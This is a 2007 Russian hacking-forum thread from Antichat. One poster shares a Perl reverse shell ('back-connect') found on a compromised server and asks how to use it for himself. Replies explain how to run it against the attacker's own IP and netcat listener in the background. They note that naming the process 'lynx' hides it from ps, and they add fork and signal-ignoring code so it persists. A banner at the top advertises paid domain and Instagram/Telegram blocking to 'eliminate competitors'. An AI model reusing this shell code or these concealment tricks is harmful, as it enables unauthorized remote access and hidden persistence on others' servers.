нашол Perl скрипт

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
нашол Perl скрипт

Опции темы

Поиск в этой теме

Опции просмотра

нашол Perl скрипт

02.08.2007, 15:38

ya_mag

Познающий

Регистрация: 18.01.2007

Сообщений: 63

С нами: 10163605

Репутация: 27

нашол Perl скрипт

вот на одном уязвимом серваке нашол такое:

Код:

#!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);

я так понимаю это что то вроде бакконекта? ни ули что то ещё.. я просто в перле вобще не соображаю

вопрос: как его заюзать для себя?
на серваке php инклуд консоль работает

даже с правами какогото юзера

𝕏 Twitter Reddit Telegram Копировать ссылку

02.08.2007, 15:50

Helios

Постоянный

Регистрация: 14.01.2007

Сообщений: 459

С нами: 10169427

Репутация: 589

Загрузи этот файл на сервер, затем в консоли выполни

Код:

perl your_script.pl 192.168.19.217 12345 >/dev/null &

где your_script.pl - имя скрипта, который ты загрузишь,
192.168.19.217 - твой IP
12345 - порт, на котором ты запустишь неткат на своей машине и будешь ждать коннекта

>/dev/null - перенаправление всего, что будет выводить твой скрипт в консоль на сервере в никуда

& - исполнять в фоне

02.08.2007, 16:10

C!klodoL

Постоянный

Регистрация: 05.06.2007

Сообщений: 335

С нами: 9965892

Репутация: 677

по моему скрипт просто перенаправляет вывод браузера lynx в сокет

02.08.2007, 16:23

Helios

Постоянный

Регистрация: 14.01.2007

Сообщений: 459

С нами: 10169427

Репутация: 589

Выводит он информацию о системе и пользователе, после чего запускает /bin/sh

PHP код:


		
			
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';

.....

system($system);

А под lynx, скорее всего, просто маскируется. (точно не знаю, т.к. perl-кодер из меня не ахти какой)

02.08.2007, 19:18

KSURi

Постоянный

Регистрация: 06.06.2006

Сообщений: 515

С нами: 10489346

Репутация: 963

Код:

$cmd= "lynx"; ... $0=$cmd;

Правильно, этот код спрячет скрипт от ps. Но по хорошему еще надо добавлять \0 (нулевой байт) в конец названия "левого" процесса насколько я помню

02.08.2007, 19:32

fYt

Познающий

Регистрация: 11.01.2007

Сообщений: 82

С нами: 10174437

Репутация: 108

Можно добавить такой код в начало и еще игнорирование сигналов.

Код:

my $pid=fork;
exit if $pid;
$SIG{'INT'}='IGNORE';
$SIG{'HUP'}='IGNORE';
$SIG{'TERM'}='IGNORE';
$SIG{'CHLD'}='IGNORE';
$SIG{'PS'}='IGNORE';

Последний раз редактировалось fYt; 02.08.2007 в 19:38..

14.08.2007, 15:53

biophreak

Постоянный

Регистрация: 03.08.2007

Сообщений: 367

С нами: 9880226

Репутация: 209

Да, но некоторые сигналы заигнорить не получится...какие имеено - надо читать доку по Posix сигналам

ЗЫЖ И код не ахти какой: где-же use strict; и use warnings; ??? =)
Этим можно избежать многих проблем

ЗЗЫЖ Оффтоплю? Сорри

14.08.2007, 15:56

fYt

Познающий

Регистрация: 11.01.2007

Сообщений: 82

С нами: 10174437

Репутация: 108

Из этих все получится. Не игонорится SIGKILL.

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Нужен скрипт на Perl	GrAmOzEkA	Разное - Покупка, продажа, обмен	5	20.11.2006 17:47
Скрипт Perl: Узнавалка версии phpBB	DetMyl	PHP	4	14.02.2006 00:48
Books Perl	FRAGNATIC	PHP	0	11.08.2005 16:58

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход